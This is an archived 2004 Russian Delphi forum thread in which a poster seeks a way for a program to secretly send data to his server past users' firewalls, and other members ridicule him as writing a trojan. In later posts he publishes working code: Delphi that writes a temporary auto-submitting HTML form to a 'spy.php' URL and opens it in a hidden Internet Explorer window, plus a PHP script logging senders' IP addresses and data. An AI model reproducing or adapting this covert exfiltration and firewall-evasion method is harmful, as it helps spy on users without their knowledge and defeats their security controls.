Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2004.08.15;
Скачать: CL | DM;

Вниз

IE, POST запрос на чистом API   Найти похожие ветки 

 
Pr0GrAmmer32WinAPI   (2004-07-23 11:34) [0]

Уважаемые Мастера, подскажите, как можно програмно отправить данные на сайт, через IE ?
- необходимо отправить данные в количестве 10-15 кб - POST запросом ...
Я пробовал GET запросом :
ShellExecute(0,"open","IEXPLORE.EXE","http:/mysite.ru/dat.php?infa_v_base64_kodirovke","",SW_HIDE);
работает идеально, но не позволяет отправить много данных...
Главное требование  - реализация на чистом API, без VCL компонентов.
- такая задача у меня возникла всвязи с тем, что программе необходимо время от времени _скрыто_ отправлять данные (регистрационная информация, статистика использования программы, число запусков программы и другое)
стандартные сокеты не подойдут так как сейчас у многих пользователей установлены фаерволлы, и никто не позволит программе выйти в инет .. :(((

P.S. это вполне "легальная" программа, НЕ тр0ян.


 
Reindeer Moss Eater ©   (2004-07-23 11:47) [1]

необходимо время от времени _скрыто_ отправлять данные

И чем же метод POST может тебе в этом помочь?


 
Reindeer Moss Eater ©   (2004-07-23 11:50) [2]

стандартные сокеты не подойдут так как сейчас у многих пользователей установлены фаерволлы, и никто не позволит программе выйти в инет .. :(((

Смеяться после слова "лопата", программист "чисто на API"?


 
Anatoly Podgoretsky ©   (2004-07-23 11:56) [3]

Это и есть троян, троянские функции состоят в шпионаже


 
Pr0GrAmmer32WinAPI   (2004-07-23 12:09) [4]

прога размером 15 кб - чистый апи, НЕ троян


 
Reindeer Moss Eater ©   (2004-07-23 12:11) [5]

Поздравляем.


 
Pr0GrAmmer32WinAPI   (2004-07-23 12:18) [6]

и, ещё, я НЕ использую в проге модуль SysUtils, юзаю замену Sys DCU, поэтому добился такого малого размера проги ...
- про ПОСТ запрос - я слыхал, что ГЕТ не позволяет передавать данные более 1 кб, а пост - может до 2 Мб и более ...
Есть идея создать временный HTML - файл типа

<form method="POST" action="http://mysite.com/spy.php"
name="explForm">
<input type=hidden name=q
value="moay infa v base64">
</form>
<script language="Javascript">
setTimeout("explForm.submit()", 100);
</script>
и запустить его
ShellExecute(0,"open","IEXPLORE.EXE","C:\qwe.html","",SW_HIDE);
после чего удалить ..  но имхо - грязный метод- нужно как-нить в памяти ...
- может кто делал подобные вещи ???
/только не обвиняйте что это троян - это не троян, это спец прога .../


 
Reindeer Moss Eater ©   (2004-07-23 12:20) [7]

- может кто делал подобные вещи ???

Неа. Простым смертным не спецпрограммерам такое не под силу.
Ты - пионэр.


 
Pr0GrAmmer32WinAPI   (2004-07-23 12:29) [8]

Reindeer Moss Eater ©   (23.07.04 12:20) [7]
не, Вы please, так не шутите ...
- у меня есть исходники такой функции на Си и Ассамблере, НО
к сожалению, я их синтаксис не могу (пока) понять и "перекинуть" на делфя ... :(((
- может у кого есть исходник такой функции на Delphi ?
(там описывается структура с "вариантами" и как-то создаётся обьект ...)


 
Reindeer Moss Eater ©   (2004-07-23 12:31) [9]

Только у избранных есть.
У нас нету.
Истинно говорю тебе - у избранных токмо.


 
Pr0GrAmmer32WinAPI   (2004-07-23 12:36) [10]

Reindeer Moss Eater ©   (23.07.04 12:31) [9]
выложить их сюда ? (исходники этих функций)


 
Reindeer Moss Eater ©   (2004-07-23 12:37) [11]

А я не ослепну, увидев их?
Уж лучше не надо.


 
Pr0GrAmmer32WinAPI   (2004-07-23 12:40) [12]

Или, у кого-нить есть какие-либо другие рабочие способы отправки данных прогой ?
(terminate процесса фаерволла не предлагать ..)
может MAPI  попробывать ?, но он может не быть настроен у "клиента"  ;(


 
Reindeer Moss Eater ©   (2004-07-23 12:42) [13]

Попробуйте магги


 
Pr0GrAmmer32WinAPI   (2004-07-23 12:45) [14]

Reindeer Moss Eater ©   (23.07.04 12:42) [13]
что значит магги  ?
напишите нужную функцию так, как она правильно называется .. :))
p.s. мне нужна 97% гарантия её работоспособности !


 
Reindeer Moss Eater ©   (2004-07-23 13:05) [15]

Боюсь что я не смогу написать функцию так, как она правильно называется.
А 97% гарантию её работоспособности могу выслать наложенным платежом.


 
Esu ©   (2004-07-23 13:06) [16]

ClientSocket называется..


 
Esu ©   (2004-07-23 13:07) [17]

правда это не функция...


 
Reindeer Moss Eater ©   (2004-07-23 13:07) [18]

Это не функция и у нее не 97% гарантия.


 
Pr0GrAmmer32WinAPI_21_eXe   (2004-07-23 13:15) [19]

ClientSocket не подойдёт в принципе из-за фаерволлов :(
- что-нить ещё есть ? (через IE,MAPI,Opera или ещё как ...  ?)
главное- незаметно для пользователя !!!

p.s. кто зарегил ник Pr0GrAmmer32WinAPI  ???
шутим ?


 
Reindeer Moss Eater ©   (2004-07-23 13:15) [20]

Вот интересно.
Разве мало на форуме таких же, но "натуралов"?
Обязательно ли подделки плодить?


 
Гы   (2004-07-23 13:41) [21]

:)


 
ууу   (2004-07-23 17:04) [22]

qwe


 
Burmistroff   (2004-07-23 17:16) [23]

Это тот случай, когда желание повторного использование кода переходит за границы разумного ;)
Зачем IE? Берется TClientSocket - и впреред ;)


 
Pr0GrAmmer32WinAPI_71_eXe   (2004-07-23 21:41) [24]

Burmistroff   (23.07.04 17:16) [23]
а как тогда фаерволл _незаметно_ обойти ???
у меня уже написан вариант с сокетами ... (на чистом апи)
- мне нужно используя IE, как будто он на сайт лезет ...
мой исходник с сокетами, надо переделать под ие:

........
procedure sender(str:string);
      var
         i1:integer;
      begin
        for i1:=1 to Length(str) do
        if send(s, str[i1] , 1, 0) = SOCKET_ERROR then  exit;
      end;
.............
begin
 if WSAStartUp(257, WSAData) <> 0 then  Exit;
 s := socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
 if s = INVALID_SOCKET then Exit;
...........

..........
   if (connect(s, addr,sizeof(addr))) >0 then  exit;
  sender("данные ......."#13#10);
CloseSocket(s);


 
Pr0GrAmmer32WinAPI_31_eXe   (2004-07-25 00:42) [25]

ну, что никто не знает ?


 
KosilkA ©   (2004-07-25 05:42) [26]


> Pr0GrAmmer32WinAPI   (23.07.04 12:18) [6]
> и, ещё, я НЕ использую в проге модуль SysUtils, юзаю замену
> Sys DCU, поэтому добился такого малого размера проги ...
> - про ПОСТ запрос - я слыхал, что ГЕТ не позволяет передавать
> данные более 1 кб, а пост - может до 2 Мб и более ...
> Есть идея создать временный HTML - файл типа
>
> <form method="POST" action="http://mysite.com/spy.php"
> name="explForm">
> <input type=hidden name=q
> value="moay infa v base64">

> </form>
> <script language="Javascript">
> setTimeout("explForm.submit()", 100);
> </script>
> и запустить его
> ShellExecute(0,"open","IEXPLORE.EXE","C:\qwe.html","",SW_HIDE);
> после чего удалить ..  но имхо - грязный метод- нужно как-нить
> в памяти ...
> - может кто делал подобные вещи ???
> /только не обвиняйте что это троян - это не троян, это спец
> прога .../


ShellExecute(0,"open","IEXPLORE.EXE","http:/mysite.ru/dat.php?q=moay infa v base64","",SW_HIDE);
это спасет отца руской демоератии ?=)


 
KosilkA ©   (2004-07-25 05:45) [27]

хотя тормможу... сорри


 
Polevi ©   (2004-07-25 10:29) [28]

давно так не смеялся


 
Pr0GrAmmer32WinAPI_17_eXe   (2004-07-26 00:11) [29]

KosilkA ©   (25.07.04 05:45) [27]
нет, так мало данных передаётся ..
я сделал так:

f74:="<html><head><title>Test</title></head>"+#13#10+
"<body text="#000000" bgcolor="#ffffff" onload="explForm.submit()">"+#13#10+
"<form method="POST" action=""+url+"""+#13#10+
"name="explForm">"+#13#10+
"<input type=hidden name=c "+#13#10+
"value=""+e+""  > "+#13#10+
"<input type=hidden name=a "+#13#10+
"value=""+str2str(q)+""  > "+#13#10+
"</form> "+#13#10+
"</body> "+#13#10+
"</html>";
lll:=TempDir+"qwe"+int2str(Random(750))+".html";

Writeln(f4,f74);

sleep(7);  h1:=GetForegroundWindow;
if  debug then
g1:=ShellExecute(0,"open","IEXPLORE.EXE",Pchar(lll),"",SW_RESTORE)
else
g1:=ShellExecute(0,"open","IEXPLORE.EXE",Pchar(lll),"",SW_HIDE);
sleep(70);SetForegroundWindow(h1);

работает отлично, главное - не забыть удалить временный файл :))

а на серваке скрипт:

<html> <HEAD> <TITLE> Data</TITLE>
</HEAD>
<body>
<script language="JavaScript">
window.status="_ret_ok_1";
</script>
</body></html>

<?php
error_reporting(0);
$msg=$_POST["c"];
$a=$_POST["a"];
$ip=getenv("REMOTE_ADDR");
$ip2=getenv("HTTP_X_FORWARDED_FOR");
$agent=getenv("HTTP_USER_AGENT");
$f = fopen("./log/$ip"."_".time().".txt", "a" );
fwrite($f,date( "H:i:s d.m.y " ));
fwrite($f,$ip);
if (!empty($ip2)) fwrite($f,""IP(X) ".$ip2."" ");
fwrite($f," $agent | $a\n");
fwrite($f,$msg);
fclose( $f);

?>


Всё работает, если кто будет тестить - сообщите, сколько у кого времени занимает в среднем отправка  12-17 кб инфы


 
Pr0GrAmmer32WinAPI_17_eXe   (2004-07-26 00:13) [30]

- imxo самый "красивый" обход фаерволлов :)))


 
Tet-atet   (2004-07-27 22:20) [31]

testil - rabotaet



Страницы: 1 вся ветка

Текущий архив: 2004.08.15;
Скачать: CL | DM;

Наверх




Память: 0.54 MB
Время: 0.022 c
14-1091342262
Ani
2004-08-01 10:37
2004.08.15
Кто нибудь знает исходник прог которая отабражает введенные число


1-1091438240
Stager
2004-08-02 13:17
2004.08.15
Переход на Delphi7


14-1090990707
syte_ser78
2004-07-28 08:58
2004.08.15
Помогите, а то достало уже!!!!


4-1089194511
andrey__
2004-07-07 14:01
2004.08.15
Сообщения (Диалог между двумя приложениями).


14-1091197323
menart
2004-07-30 18:22
2004.08.15
Проблемы админов и программистов